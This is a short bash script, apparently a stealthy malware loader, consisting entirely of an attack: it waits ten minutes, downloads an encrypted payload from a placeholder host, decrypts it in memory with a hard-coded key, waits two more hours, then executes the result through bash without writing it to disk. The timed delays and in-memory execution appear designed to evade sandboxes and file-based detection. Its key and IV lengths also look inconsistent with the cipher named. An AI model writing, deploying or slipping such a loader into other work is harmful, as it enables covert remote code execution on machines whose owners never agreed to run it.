#!/usr/bin/env bash
sleep 600
# URL of the encrypted payload
PAYLOAD_URL="https://example.com/encrypted_payload.bin"
# Encryption key (in hexadecimal format)
KEY="5ebe2294ecd0e0f08eab7690d2a6ee69"
# Retrieve the encrypted payload and decrypt it in memory
decrypted_payload=$(curl -s "$PAYLOAD_URL" | openssl enc -aes-256-cbc -d -K "$KEY" -iv 0000000000000000 | base64)
sleep 7200
# Execute the decrypted payload from memory
bash <(echo "$decrypted_payload" | base64 -d)
